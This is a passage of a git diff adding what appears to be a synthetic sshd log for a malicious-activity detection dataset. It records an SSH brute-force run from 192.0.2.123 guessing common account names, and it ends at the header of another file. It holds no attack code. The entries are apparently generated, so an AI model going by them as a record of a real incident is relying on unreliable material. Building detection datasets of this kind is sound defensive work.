192.0.2.123 port 64989 ssh2 +Nov 12 22:19:18 sshd[25115]: Failed password for user from 192.0.2.123 port 48112 ssh2 +Nov 12 22:19:19 sshd[25115]: Failed password for invalid user root from 192.0.2.123 port 21814 +Nov 12 22:19:19 sshd[25115]: Failed password for test from 192.0.2.123 port 62513 ssh2 +Nov 12 22:19:19 sshd[25115]: Failed password for user from 192.0.2.123 port 34077 ssh2 +Nov 12 22:19:20 sshd[13249]: Failed password for invalid user ubuntu from 192.0.2.123 port 35354 +Nov 12 22:19:21 sshd[13249]: Failed password for invalid user ftpuser from 192.0.2.123 port 51811 +Nov 12 22:19:21 sshd[13249]: Failed password for invalid user oracle from 192.0.2.123 port 51345 +Nov 12 22:19:21 sshd[13249]: Failed password for invalid user webmaster from 192.0.2.123 port 62806 +Nov 12 22:19:21 sshd[13249]: Failed password for test from 192.0.2.123 port 37556 ssh2 +Nov 12 22:19:22 sshd[13249]: Failed password for guest from 192.0.2.123 port 41625 ssh2 +Nov 12 22:19:22 sshd[13249]: Failed password for invalid user sqladmin from 192.0.2.123 port 45852 +Nov 12 22:19:22 sshd[13249]: Failed password for user from 192.0.2.123 port 41468 ssh2 +Nov 12 22:19:23 sshd[13249]: Failed password for ec2-user from 192.0.2.123 port 38479 ssh2 +Nov 12 22:19:23 sshd[13249]: Failed password for invalid user service from 192.0.2.123 port 43965 +Nov 12 22:19:23 sshd[13249]: Failed password for invalid user ubuntu from 192.0.2.123 port 35442 +Nov 12 22:19:23 sshd[13249]: Failed password for service from 192.0.2.123 port 16652 ssh2 +Nov 12 22:19:23 sshd[13249]: Failed password for service from 192.0.2.123 port 54578 ssh2 +Nov 12 22:19:24 sshd[13249]: Failed password for guest from 192.0.2.123 port 49275 ssh2 +Nov 12 22:19:24 sshd[13249]: Failed password for invalid user test from 192.0.2.123 port 49346 +Nov 12 22:19:25 sshd[28997]: Failed password for guest from 192.0.2.123 port 36045 ssh2 +Nov 12 22:19:25 sshd[28997]: Failed password for invalid user admin from 192.0.2.123 port 57090 +Nov 12 22:19:25 sshd[28997]: Failed password for mssql from 192.0.2.123 port 61000 ssh2 +Nov 12 22:19:26 sshd[28997]: Failed password for invalid user service from 192.0.2.123 port 10516 +Nov 12 22:19:26 sshd[28997]: Failed password for invalid user ubuntu from 192.0.2.123 port 11332 +Nov 12 22:19:26 sshd[28997]: Failed password for postgres from 192.0.2.123 port 34359 ssh2 +Nov 12 22:19:27 sshd[28997]: Failed password for ftpuser from 192.0.2.123 port 35222 ssh2 +Nov 12 22:19:27 sshd[28997]: Failed password for invalid user ftpuser from 192.0.2.123 port 54218 +Nov 12 22:19:27 sshd[28997]: Failed password for service from 192.0.2.123 port 33008 ssh2 +Nov 12 22:19:28 sshd[28997]: Failed password for service from 192.0.2.123 port 12526 ssh2 +Nov 12 22:19:28 sshd[28997]: Failed password for user from 192.0.2.123 port 12077 ssh2 +Nov 12 22:19:29 sshd[28997]: Failed password for invalid user guest from 192.0.2.123 port 41189 +Nov 12 22:19:29 sshd[28997]: Failed password for invalid user postgres from 192.0.2.123 port 42529 +Nov 12 22:19:30 sshd[13685]: Failed password for guest from 192.0.2.123 port 40811 ssh2 +Nov 12 22:19:30 sshd[13685]: Failed password for invalid user ubuntu from 192.0.2.123 port 33937 +Nov 12 22:19:30 sshd[13685]: Failed password for root from 192.0.2.123 port 32056 ssh2 +Nov 12 22:19:31 sshd[13685]: Failed password for invalid user service from 192.0.2.123 port 26367 +Nov 12 22:19:32 sshd[13685]: Failed password for guest from 192.0.2.123 port 55363 ssh2 +Nov 12 22:19:32 sshd[13685]: Failed password for invalid user ec2-user from 192.0.2.123 port 56328 +Nov 12 22:19:33 sshd[13685]: Failed password for ec2-user from 192.0.2.123 port 36362 ssh2 +Nov 12 22:19:33 sshd[13685]: Failed password for ec2-user from 192.0.2.123 port 39811 ssh2 +Nov 12 22:19:33 sshd[13685]: Failed password for service from 192.0.2.123 port 14361 ssh2 +Nov 12 22:19:34 sshd[13685]: Failed password for invalid user backup from 192.0.2.123 port 13869 +Nov 12 22:19:34 sshd[13685]: Failed password for user from 192.0.2.123 port 25986 ssh2 +Nov 12 22:19:35 sshd[18096]: Failed password for oracle from 192.0.2.123 port 43950 ssh2 +Nov 12 22:19:36 sshd[18096]: Failed password for ftpuser from 192.0.2.123 port 59601 ssh2 +Nov 12 22:19:36 sshd[18096]: Failed password for invalid user test from 192.0.2.123 port 61385 +Nov 12 22:19:36 sshd[18096]: Failed password for invalid user user from 192.0.2.123 port 27916 +Nov 12 22:19:36 sshd[18096]: Failed password for oracle from 192.0.2.123 port 57329 ssh2 +Nov 12 22:19:36 sshd[18096]: Failed password for user from 192.0.2.123 port 26059 ssh2 +Nov 12 22:19:37 sshd[18096]: Failed password for ftpuser from 192.0.2.123 port 58496 ssh2 +Nov 12 22:19:37 sshd[18096]: Failed password for invalid user mssql from 192.0.2.123 port 22940 +Nov 12 22:19:37 sshd[18096]: Failed password for mssql from 192.0.2.123 port 61336 ssh2 +Nov 12 22:19:37 sshd[18096]: Failed password for webmaster from 192.0.2.123 port 59744 ssh2 +Nov 12 22:19:38 sshd[18096]: Failed password for invalid user ec2-user from 192.0.2.123 port 33424 +Nov 12 22:19:38 sshd[18096]: Failed password for invalid user oracle from 192.0.2.123 port 31663 +Nov 12 22:19:39 sshd[18096]: Failed password for invalid user webmaster from 192.0.2.123 port 37954 +Nov 12 22:19:41 sshd[9707]: Failed password for invalid user ftpuser from 192.0.2.123 port 57199 +Nov 12 22:19:41 sshd[9707]: Failed password for invalid user guest from 192.0.2.123 port 46851 +Nov 12 22:19:41 sshd[9707]: Failed password for invalid user mssql from 192.0.2.123 port 49538 +Nov 12 22:19:41 sshd[9707]: Failed password for invalid user ubuntu from 192.0.2.123 port 54905 +Nov 12 22:19:42 sshd[9707]: Failed password for backup from 192.0.2.123 port 37797 ssh2 +Nov 12 22:19:42 sshd[9707]: Failed password for invalid user guest from 192.0.2.123 port 52597 +Nov 12 22:19:42 sshd[9707]: Failed password for invalid user user from 192.0.2.123 port 45060 +Nov 12 22:19:42 sshd[9707]: Failed password for sqladmin from 192.0.2.123 port 61635 ssh2 +Nov 12 22:19:43 sshd[9707]: Failed password for invalid user ec2-user from 192.0.2.123 port 13866 +Nov 12 22:19:43 sshd[9707]: Failed password for invalid user service from 192.0.2.123 port 51138 +Nov 12 22:19:43 sshd[9707]: Failed password for invalid user user from 192.0.2.123 port 42259 +Nov 12 22:19:43 sshd[9707]: Failed password for oracle from 192.0.2.123 port 25273 ssh2 +Nov 12 22:19:43 sshd[9707]: Failed password for postgres from 192.0.2.123 port 13472 ssh2 +Nov 12 22:19:43 sshd[9707]: Failed password for user from 192.0.2.123 port 44716 ssh2 +Nov 12 22:19:43 sshd[9707]: Failed password for webmaster from 192.0.2.123 port 39391 ssh2 +Nov 12 22:19:44 sshd[9707]: Failed password for invalid user guest from 192.0.2.123 port 17579 +Nov 12 22:19:44 sshd[9707]: Failed password for user from 192.0.2.123 port 26180 ssh2 +Nov 12 22:19:45 sshd[17064]: Failed password for invalid user service from 192.0.2.123 port 45366 +Nov 12 22:19:45 sshd[17064]: Failed password for invalid user sqladmin from 192.0.2.123 port 61399 +Nov 12 22:19:45 sshd[17064]: Failed password for user from 192.0.2.123 port 28245 ssh2 +Nov 12 22:19:46 sshd[17064]: Failed password for invalid user test from 192.0.2.123 port 13440 +Nov 12 22:19:46 sshd[17064]: Failed password for ubuntu from 192.0.2.123 port 31513 ssh2 +Nov 12 22:19:47 sshd[17064]: Failed password for invalid user root from 192.0.2.123 port 58464 +Nov 12 22:19:47 sshd[17064]: Failed password for ubuntu from 192.0.2.123 port 23976 ssh2 +Nov 12 22:19:48 sshd[17064]: Failed password for admin from 192.0.2.123 port 22507 ssh2 +Nov 12 22:19:48 sshd[17064]: Failed password for invalid user mssql from 192.0.2.123 port 27797 +Nov 12 22:19:48 sshd[17064]: Failed password for invalid user oracle from 192.0.2.123 port 55706 +Nov 12 22:19:48 sshd[17064]: Failed password for invalid user service from 192.0.2.123 port 26645 +Nov 12 22:19:49 sshd[17064]: Failed password for invalid user service from 192.0.2.123 port 41944 +Nov 12 22:19:49 sshd[17064]: Failed password for test from 192.0.2.123 port 34728 ssh2 +Nov 12 22:19:50 sshd[6738]: Failed password for ftpuser from 192.0.2.123 port 33757 ssh2 +Nov 12 22:19:50 sshd[6738]: Failed password for invalid user root from 192.0.2.123 port 11141 +Nov 12 22:19:50 sshd[6738]: Failed password for invalid user root from 192.0.2.123 port 42995 +Nov 12 22:19:50 sshd[6738]: Failed password for invalid user user from 192.0.2.123 port 50124 +Nov 12 22:19:50 sshd[6738]: Failed password for invalid user webmaster from 192.0.2.123 port 28616 +Nov 12 22:19:50 sshd[6738]: Failed password for user from 192.0.2.123 port 57432 ssh2 +Nov 12 22:19:51 sshd[6738]: Failed password for backup from 192.0.2.123 port 57955 ssh2 +Nov 12 22:19:51 sshd[6738]: Failed password for invalid user mssql from 192.0.2.123 port 57650 +Nov 12 22:19:51 sshd[6738]: Failed password for invalid user postgres from 192.0.2.123 port 58644 +Nov 12 22:19:52 sshd[6738]: Failed password for invalid user admin from 192.0.2.123 port 16775 +Nov 12 22:19:52 sshd[6738]: Failed password for invalid user postgres from 192.0.2.123 port 18301 +Nov 12 22:19:52 sshd[6738]: Failed password for invalid user postgres from 192.0.2.123 port 33186 +Nov 12 22:19:52 sshd[6738]: Failed password for invalid user postgres from 192.0.2.123 port 63731 +Nov 12 22:19:52 sshd[6738]: Failed password for invalid user webmaster from 192.0.2.123 port 23446 +Nov 12 22:19:54 sshd[6738]: Failed password for invalid user ec2-user from 192.0.2.123 port 35478 +Nov 12 22:19:54 sshd[6738]: Failed password for invalid user oracle from 192.0.2.123 port 11871 +Nov 12 22:19:54 sshd[6738]: Failed password for invalid user root from 192.0.2.123 port 64007 +Nov 12 22:19:54 sshd[6738]: Failed password for invalid user ubuntu from 192.0.2.123 port 17773 +Nov 12 22:19:55 sshd[15519]: Failed password for ftpuser from 192.0.2.123 port 33140 ssh2 +Nov 12 22:19:55 sshd[15519]: Failed password for test from 192.0.2.123 port 44401 ssh2 +Nov 12 22:19:56 sshd[15519]: Failed password for invalid user mssql from 192.0.2.123 port 16173 +Nov 12 22:19:56 sshd[15519]: Failed password for invalid user test from 192.0.2.123 port 39601 +Nov 12 22:19:56 sshd[15519]: Failed password for postgres from 192.0.2.123 port 50162 ssh2 +Nov 12 22:19:57 sshd[15519]: Failed password for user from 192.0.2.123 port 54653 ssh2 +Nov 12 22:19:58 sshd[15519]: Failed password for backup from 192.0.2.123 port 33467 ssh2 +Nov 12 22:19:58 sshd[15519]: Failed password for invalid user service from 192.0.2.123 port 30458 +Nov 12 22:19:58 sshd[15519]: Failed password for invalid user webmaster from 192.0.2.123 port 63113 +Nov 12 22:19:59 sshd[15519]: Failed password for invalid user oracle from 192.0.2.123 port 25167 +Nov 12 22:19:59 sshd[15519]: Failed password for oracle from 192.0.2.123 port 31740 ssh2 +Nov 12 22:19:59 sshd[15519]: Failed password for user from 192.0.2.123 port 18439 ssh2 +Nov 12 22:20:00 CRON[14830]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) +Nov 12 22:20:00 sshd[14930]: Failed password for invalid user ec2-user from 192.0.2.123 port 59499 +Nov 12 22:20:00 sshd[14930]: Failed password for invalid user test from 192.0.2.123 port 42275 +Nov 12 22:20:01 sshd[14930]: Failed password for invalid user oracle from 192.0.2.123 port 59568 +Nov 12 22:20:02 sshd[14930]: Failed password for backup from 192.0.2.123 port 22675 ssh2 +Nov 12 22:20:03 sshd[14930]: Failed password for invalid user ubuntu from 192.0.2.123 port 40426 +Nov 12 22:20:03 sshd[14930]: Failed password for invalid user webmaster from 192.0.2.123 port 13383 +Nov 12 22:20:03 sshd[14930]: Failed password for service from 192.0.2.123 port 45675 ssh2 +Nov 12 22:20:04 sshd[14930]: Failed password for root from 192.0.2.123 port 59410 ssh2 +Nov 12 22:20:05 sshd[1278]: Failed password for invalid user test from 192.0.2.123 port 51649 +Nov 12 22:20:05 sshd[1278]: Failed password for webmaster from 192.0.2.123 port 29131 ssh2 +Nov 12 22:20:06 sshd[1278]: Failed password for invalid user admin from 192.0.2.123 port 22781 +Nov 12 22:20:06 sshd[1278]: Failed password for invalid user ec2-user from 192.0.2.123 port 65119 +Nov 12 22:20:06 sshd[1278]: Failed password for invalid user service from 192.0.2.123 port 16242 +Nov 12 22:20:06 sshd[1278]: Failed password for invalid user test from 192.0.2.123 port 46349 +Nov 12 22:20:07 sshd[1278]: Failed password for backup from 192.0.2.123 port 24706 ssh2 +Nov 12 22:20:07 sshd[1278]: Failed password for invalid user mssql from 192.0.2.123 port 15903 +Nov 12 22:20:07 sshd[1278]: Failed password for invalid user webmaster from 192.0.2.123 port 59267 +Nov 12 22:20:07 sshd[1278]: Failed password for mssql from 192.0.2.123 port 64147 ssh2 +Nov 12 22:20:07 sshd[1278]: Failed password for sqladmin from 192.0.2.123 port 59424 ssh2 +Nov 12 22:20:07 sshd[1278]: Failed password for ubuntu from 192.0.2.123 port 52735 ssh2 +Nov 12 22:20:07 sshd[1278]: Failed password for webmaster from 192.0.2.123 port 43913 ssh2 +Nov 12 22:20:09 sshd[1278]: Failed password for ec2-user from 192.0.2.123 port 43937 ssh2 +Nov 12 22:20:09 sshd[1278]: Failed password for invalid user guest from 192.0.2.123 port 40983 +Nov 12 22:20:09 sshd[1278]: Failed password for invalid user sqladmin from 192.0.2.123 port 63162 +Nov 12 22:20:09 sshd[1278]: Failed password for ubuntu from 192.0.2.123 port 57747 ssh2 +Nov 12 22:20:09 sshd[1278]: Failed password for user from 192.0.2.123 port 45300 ssh2 +Nov 12 22:20:12 sshd[11052]: Failed password for invalid user guest from 192.0.2.123 port 57870 +Nov 12 22:20:12 sshd[11052]: Failed password for invalid user mssql from 192.0.2.123 port 27414 +Nov 12 22:20:12 sshd[11052]: Failed password for invalid user mssql from 192.0.2.123 port 52295 +Nov 12 22:20:12 sshd[11052]: Failed password for invalid user oracle from 192.0.2.123 port 26563 +Nov 12 22:20:13 sshd[11052]: Failed password for backup from 192.0.2.123 port 27364 ssh2 +Nov 12 22:20:13 sshd[11052]: Failed password for ec2-user from 192.0.2.123 port 18906 ssh2 +Nov 12 22:20:13 sshd[11052]: Failed password for invalid user oracle from 192.0.2.123 port 32066 +Nov 12 22:20:13 sshd[11052]: Failed password for invalid user root from 192.0.2.123 port 22757 +Nov 12 22:20:14 sshd[11052]: Failed password for test from 192.0.2.123 port 24722 ssh2 +Nov 12 22:20:15 sshd[27712]: Failed password for invalid user admin from 192.0.2.123 port 20274 +Nov 12 22:20:15 sshd[27712]: Failed password for invalid user guest from 192.0.2.123 port 38916 +Nov 12 22:20:15 sshd[27712]: Failed password for invalid user test from 192.0.2.123 port 19587 +Nov 12 22:20:15 sshd[27712]: Failed password for mssql from 192.0.2.123 port 25392 ssh2 +Nov 12 22:20:16 sshd[27712]: Failed password for invalid user ubuntu from 192.0.2.123 port 57648 +Nov 12 22:20:17 sshd[27712]: Failed password for sqladmin from 192.0.2.123 port 31449 ssh2 +Nov 12 22:20:18 sshd[27712]: Failed password for backup from 192.0.2.123 port 56473 ssh2 +Nov 12 22:20:18 sshd[27712]: Failed password for ec2-user from 192.0.2.123 port 60393 ssh2 +Nov 12 22:20:18 sshd[27712]: Failed password for oracle from 192.0.2.123 port 21920 ssh2 +Nov 12 22:20:18 sshd[27712]: Failed password for oracle from 192.0.2.123 port 56147 ssh2 +Nov 12 22:20:18 sshd[27712]: Failed password for ubuntu from 192.0.2.123 port 24538 ssh2 +Nov 12 22:20:18 sshd[27712]: Failed password for ubuntu from 192.0.2.123 port 57211 ssh2 +Nov 12 22:20:19 sshd[27712]: Failed password for guest from 192.0.2.123 port 36424 ssh2 +Nov 12 22:20:19 sshd[27712]: Failed password for invalid user backup from 192.0.2.123 port 55626 +Nov 12 22:20:19 sshd[27712]: Failed password for invalid user oracle from 192.0.2.123 port 21602 +Nov 12 22:20:19 sshd[27712]: Failed password for invalid user test from 192.0.2.123 port 57435 +Nov 12 22:20:19 sshd[27712]: Failed password for invalid user user from 192.0.2.123 port 46976 +Nov 12 22:20:19 sshd[27712]: Failed password for invalid user webmaster from 192.0.2.123 port 45580 +Nov 12 22:20:20 sshd[21202]: Failed password for ftpuser from 192.0.2.123 port 45457 ssh2 +Nov 12 22:20:20 sshd[21202]: Failed password for invalid user ec2-user from 192.0.2.123 port 53961 +Nov 12 22:20:20 sshd[21202]: Failed password for invalid user ftpuser from 192.0.2.123 port 21483 +Nov 12 22:20:20 sshd[21202]: Failed password for invalid user service from 192.0.2.123 port 39446 +Nov 12 22:20:21 sshd[21202]: Failed password for invalid user service from 192.0.2.123 port 63743 +Nov 12 22:20:23 sshd[21202]: Failed password for ftpuser from 192.0.2.123 port 23045 ssh2 +Nov 12 22:20:23 sshd[21202]: Failed password for root from 192.0.2.123 port 47097 ssh2 +Nov 12 22:20:23 sshd[21202]: Failed password for ubuntu from 192.0.2.123 port 47494 ssh2 +Nov 12 22:20:24 sshd[21202]: Failed password for ec2-user from 192.0.2.123 port 53815 ssh2 +Nov 12 22:20:24 sshd[21202]: Failed password for postgres from 192.0.2.123 port 55282 ssh2 +Nov 12 22:20:25 sshd[29471]: Failed password for invalid user ftpuser from 192.0.2.123 port 11509 +Nov 12 22:20:25 sshd[29471]: Failed password for invalid user webmaster from 192.0.2.123 port 46728 +Nov 12 22:20:25 sshd[29471]: Failed password for webmaster from 192.0.2.123 port 47179 ssh2 +Nov 12 22:20:26 sshd[29471]: Failed password for invalid user postgres from 192.0.2.123 port 45082 +Nov 12 22:20:26 sshd[29471]: Failed password for invalid user root from 192.0.2.123 port 41768 +Nov 12 22:20:28 sshd[29471]: Failed password for invalid user admin from 192.0.2.123 port 52909 +Nov 12 22:20:28 sshd[29471]: Failed password for sqladmin from 192.0.2.123 port 48048 ssh2 +Nov 12 22:20:29 sshd[29471]: Failed password for service from 192.0.2.123 port 50925 ssh2 +Nov 12 22:20:29 sshd[29471]: Failed password for user from 192.0.2.123 port 41852 ssh2 +Nov 12 22:20:31 sshd[15057]: Failed password for admin from 192.0.2.123 port 54796 ssh2 +Nov 12 22:20:31 sshd[15057]: Failed password for invalid user postgres from 192.0.2.123 port 62373 +Nov 12 22:20:31 sshd[15057]: Failed password for invalid user test from 192.0.2.123 port 44901 +Nov 12 22:20:31 sshd[15057]: Failed password for oracle from 192.0.2.123 port 14494 ssh2 +Nov 12 22:20:32 sshd[15057]: Failed password for invalid user guest from 192.0.2.123 port 29053 +Nov 12 22:20:33 sshd[15057]: Failed password for invalid user backup from 192.0.2.123 port 48432 +Nov 12 22:20:33 sshd[15057]: Failed password for root from 192.0.2.123 port 12685 ssh2 +Nov 12 22:20:33 sshd[15057]: Failed password for root from 192.0.2.123 port 63666 ssh2 +Nov 12 22:20:35 sshd[27465]: Failed password for invalid user postgres from 192.0.2.123 port 11563 +Nov 12 22:20:35 sshd[27465]: Failed password for invalid user postgres from 192.0.2.123 port 16763 +Nov 12 22:20:36 sshd[27465]: Failed password for guest from 192.0.2.123 port 52404 ssh2 +Nov 12 22:20:36 sshd[27465]: Failed password for invalid user ec2-user from 192.0.2.123 port 27554 +Nov 12 22:20:36 sshd[27465]: Failed password for invalid user oracle from 192.0.2.123 port 18960 +Nov 12 22:20:37 sshd[27465]: Failed password for backup from 192.0.2.123 port 28707 ssh2 +Nov 12 22:20:37 sshd[27465]: Failed password for guest from 192.0.2.123 port 62022 ssh2 +Nov 12 22:20:38 sshd[27465]: Failed password for mssql from 192.0.2.123 port 17721 ssh2 +Nov 12 22:20:38 sshd[27465]: Failed password for mssql from 192.0.2.123 port 48211 ssh2 +Nov 12 22:20:38 sshd[27465]: Failed password for service from 192.0.2.123 port 58240 ssh2 +Nov 12 22:20:38 sshd[27465]: Failed password for webmaster from 192.0.2.123 port 53716 ssh2 +Nov 12 22:20:39 sshd[27465]: Failed password for invalid user postgres from 192.0.2.123 port 23235 +Nov 12 22:20:40 sshd[11801]: Failed password for invalid user postgres from 192.0.2.123 port 18035 +Nov 12 22:20:40 sshd[11801]: Failed password for invalid user ubuntu from 192.0.2.123 port 63549 +Nov 12 22:20:40 sshd[11801]: Failed password for mssql from 192.0.2.123 port 17348 ssh2 +Nov 12 22:20:41 sshd[11801]: Failed password for backup from 192.0.2.123 port 48505 ssh2 +Nov 12 22:20:41 sshd[11801]: Failed password for invalid user webmaster from 192.0.2.123 port 36581 +Nov 12 22:20:41 sshd[11801]: Failed password for service from 192.0.2.123 port 59500 ssh2 +Nov 12 22:20:42 sshd[11801]: Failed password for ec2-user from 192.0.2.123 port 35245 ssh2 +Nov 12 22:20:42 sshd[11801]: Failed password for guest from 192.0.2.123 port 51862 ssh2 +Nov 12 22:20:42 sshd[11801]: Failed password for guest from 192.0.2.123 port 56784 ssh2 +Nov 12 22:20:42 sshd[11801]: Failed password for service from 192.0.2.123 port 54282 ssh2 +Nov 12 22:20:42 sshd[11801]: Failed password for sqladmin from 192.0.2.123 port 47182 ssh2 +Nov 12 22:20:43 sshd[11801]: Failed password for invalid user ftpuser from 192.0.2.123 port 64260 +Nov 12 22:20:43 sshd[11801]: Failed password for ubuntu from 192.0.2.123 port 11786 ssh2 +Nov 12 22:20:44 sshd[11801]: Failed password for admin from 192.0.2.123 port 41825 ssh2 +Nov 12 22:20:44 sshd[11801]: Failed password for invalid user postgres from 192.0.2.123 port 56167 +Nov 12 22:20:44 sshd[11801]: Failed password for mssql from 192.0.2.123 port 24217 ssh2 +Nov 12 22:20:44 sshd[11801]: Failed password for postgres from 192.0.2.123 port 39034 ssh2 +Nov 12 22:20:44 sshd[11801]: Failed password for root from 192.0.2.123 port 24329 ssh2 +Nov 12 22:20:44 sshd[11801]: Failed password for test from 192.0.2.123 port 46842 ssh2 +Nov 12 22:20:45 sshd[22368]: Failed password for invalid user ec2-user from 192.0.2.123 port 34838 +Nov 12 22:20:45 sshd[22368]: Failed password for invalid user root from 192.0.2.123 port 59130 +Nov 12 22:20:45 sshd[22368]: Failed password for oracle from 192.0.2.123 port 45210 ssh2 +Nov 12 22:20:46 sshd[22368]: Failed password for invalid user admin from 192.0.2.123 port 50568 +Nov 12 22:20:46 sshd[22368]: Failed password for invalid user mssql from 192.0.2.123 port 51502 +Nov 12 22:20:46 sshd[22368]: Failed password for invalid user service from 192.0.2.123 port 34233 +Nov 12 22:20:48 sshd[22368]: Failed password for invalid user root from 192.0.2.123 port 37832 +Nov 12 22:20:48 sshd[22368]: Failed password for postgres from 192.0.2.123 port 40051 ssh2 +Nov 12 22:20:48 sshd[22368]: Failed password for service from 192.0.2.123 port 64682 ssh2 +Nov 12 22:20:48 sshd[22368]: Failed password for sqladmin from 192.0.2.123 port 18439 ssh2 +Nov 12 22:20:49 sshd[22368]: Failed password for invalid user mssql from 192.0.2.123 port 22900 +Nov 12 22:20:49 sshd[22368]: Failed password for invalid user user from 192.0.2.123 port 35446 +Nov 12 22:20:49 sshd[22368]: Failed password for ubuntu from 192.0.2.123 port 14623 ssh2 +Nov 12 22:20:50 sshd[20684]: Failed password for invalid user ftpuser from 192.0.2.123 port 64873 +Nov 12 22:20:52 sshd[20684]: Failed password for ftpuser from 192.0.2.123 port 21053 ssh2 +Nov 12 22:20:52 sshd[20684]: Failed password for invalid user postgres from 192.0.2.123 port 12213 +Nov 12 22:20:53 sshd[20684]: Failed password for mssql from 192.0.2.123 port 36152 ssh2 +Nov 12 22:20:54 sshd[20684]: Failed password for invalid user backup from 192.0.2.123 port 49531 +Nov 12 22:20:54 sshd[20684]: Failed password for invalid user mssql from 192.0.2.123 port 10779 +Nov 12 22:20:54 sshd[20684]: Failed password for invalid user webmaster from 192.0.2.123 port 10918 +Nov 12 22:20:54 sshd[20684]: Failed password for service from 192.0.2.123 port 63087 ssh2 +Nov 12 22:20:55 sshd[9590]: Failed password for backup from 192.0.2.123 port 19163 ssh2 +Nov 12 22:20:55 sshd[9590]: Failed password for invalid user root from 192.0.2.123 port 43755 +Nov 12 22:20:55 sshd[9590]: Failed password for invalid user service from 192.0.2.123 port 62361 +Nov 12 22:20:56 sshd[9590]: Failed password for invalid user admin from 192.0.2.123 port 47796 +Nov 12 22:20:56 sshd[9590]: Failed password for invalid user backup from 192.0.2.123 port 30297 +Nov 12 22:20:56 sshd[9590]: Failed password for invalid user guest from 192.0.2.123 port 52238 +Nov 12 22:20:56 sshd[9590]: Failed password for invalid user service from 192.0.2.123 port 56678 +Nov 12 22:20:56 sshd[9590]: Failed password for invalid user webmaster from 192.0.2.123 port 11014 +Nov 12 22:20:56 sshd[9590]: Failed password for oracle from 192.0.2.123 port 39008 ssh2 +Nov 12 22:20:56 sshd[9590]: Failed password for root from 192.0.2.123 port 55149 ssh2 +Nov 12 22:20:56 sshd[9590]: Failed password for service from 192.0.2.123 port 22205 ssh2 +Nov 12 22:20:57 sshd[9590]: Failed password for invalid user backup from 192.0.2.123 port 62663 +Nov 12 22:20:57 sshd[9590]: Failed password for invalid user sqladmin from 192.0.2.123 port 61611 +Nov 12 22:20:57 sshd[9590]: Failed password for postgres from 192.0.2.123 port 46785 ssh2 +Nov 12 22:20:58 sshd[9590]: Failed password for ftpuser from 192.0.2.123 port 30530 ssh2 +Nov 12 22:20:58 sshd[9590]: Failed password for invalid user service from 192.0.2.123 port 43288 +Nov 12 22:20:58 sshd[9590]: Failed password for invalid user ubuntu from 192.0.2.123 port 58961 +Nov 12 22:20:58 sshd[9590]: Failed password for mssql from 192.0.2.123 port 58957 ssh2 +Nov 12 22:20:59 sshd[9590]: Failed password for guest from 192.0.2.123 port 34288 ssh2 +Nov 12 22:20:59 sshd[9590]: Failed password for invalid user guest from 192.0.2.123 port 18966 +Nov 12 22:21:00 sshd[25884]: Failed password for ec2-user from 192.0.2.123 port 16059 ssh2 +Nov 12 22:21:00 sshd[25884]: Failed password for invalid user mssql from 192.0.2.123 port 48241 +Nov 12 22:21:00 sshd[25884]: Failed password for invalid user oracle from 192.0.2.123 port 28743 +Nov 12 22:21:00 sshd[25884]: Failed password for invalid user ubuntu from 192.0.2.123 port 11510 +Nov 12 22:21:00 sshd[25884]: Failed password for postgres from 192.0.2.123 port 29695 ssh2 +Nov 12 22:21:01 sshd[25884]: Failed password for invalid user backup from 192.0.2.123 port 43476 +Nov 12 22:21:01 sshd[25884]: Failed password for invalid user test from 192.0.2.123 port 29260 +Nov 12 22:21:01 sshd[25884]: Failed password for invalid user ubuntu from 192.0.2.123 port 24654 +Nov 12 22:21:01 sshd[25884]: Failed password for invalid user webmaster from 192.0.2.123 port 11271 +Nov 12 22:21:01 sshd[25884]: Failed password for oracle from 192.0.2.123 port 43760 ssh2 +Nov 12 22:21:01 sshd[25884]: Failed password for root from 192.0.2.123 port 59595 ssh2 +Nov 12 22:21:02 sshd[25884]: Failed password for admin from 192.0.2.123 port 49432 ssh2 +Nov 12 22:21:02 sshd[25884]: Failed password for admin from 192.0.2.123 port 50399 ssh2 +Nov 12 22:21:02 sshd[25884]: Failed password for postgres from 192.0.2.123 port 12737 ssh2 +Nov 12 22:21:03 sshd[25884]: Failed password for mssql from 192.0.2.123 port 12868 ssh2 +Nov 12 22:21:04 sshd[25884]: Failed password for invalid user test from 192.0.2.123 port 23325 +Nov 12 22:21:05 sshd[2514]: Failed password for invalid user test from 192.0.2.123 port 61649 +Nov 12 22:21:05 sshd[2514]: Failed password for root from 192.0.2.123 port 17192 ssh2 +Nov 12 22:21:05 sshd[2514]: Failed password for test from 192.0.2.123 port 23797 ssh2 +Nov 12 22:21:06 sshd[2514]: Failed password for ec2-user from 192.0.2.123 port 64770 ssh2 +Nov 12 22:21:06 sshd[2514]: Failed password for invalid user sqladmin from 192.0.2.123 port 61945 +Nov 12 22:21:06 sshd[2514]: Failed password for oracle from 192.0.2.123 port 51748 ssh2 +Nov 12 22:21:07 sshd[2514]: Failed password for ec2-user from 192.0.2.123 port 20166 ssh2 +Nov 12 22:21:08 sshd[2514]: Failed password for invalid user root from 192.0.2.123 port 49227 +Nov 12 22:21:08 sshd[2514]: Failed password for invalid user service from 192.0.2.123 port 28003 +Nov 12 22:21:08 sshd[2514]: Failed password for postgres from 192.0.2.123 port 59477 ssh2 +Nov 12 22:21:09 sshd[2514]: Failed password for invalid user sqladmin from 192.0.2.123 port 13235 +Nov 12 22:21:09 sshd[2514]: Failed password for user from 192.0.2.123 port 22305 ssh2 +Nov 12 22:21:09 sshd[2514]: Failed password for user from 192.0.2.123 port 39002 ssh2 +Nov 12 22:21:10 sshd[13508]: Failed password for ftpuser from 192.0.2.123 port 29969 ssh2 +Nov 12 22:21:10 sshd[13508]: Failed password for sqladmin from 192.0.2.123 port 46159 ssh2 +Nov 12 22:21:12 sshd[13508]: Failed password for invalid user ftpuser from 192.0.2.123 port 30383 +Nov 12 22:21:12 sshd[13508]: Failed password for invalid user oracle from 192.0.2.123 port 29215 +Nov 12 22:21:12 sshd[13508]: Failed password for service from 192.0.2.123 port 48111 ssh2 +Nov 12 22:21:13 sshd[13508]: Failed password for invalid user root from 192.0.2.123 port 29100 +Nov 12 22:21:14 sshd[13508]: Failed password for invalid user test from 192.0.2.123 port 39822 +Nov 12 22:21:14 sshd[13508]: Failed password for postgres from 192.0.2.123 port 57041 ssh2 +Nov 12 22:21:40 CRON[6260]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) diff --git a/mali_dataset/scenario_7/mali_7_5.csv b/mali_dataset/scenario_7/mali_7_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..7abce20b25dd498da0cd3bdf6a2fe2374a7f145f --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_5.csv @@ -0,0 +1,91 @@ 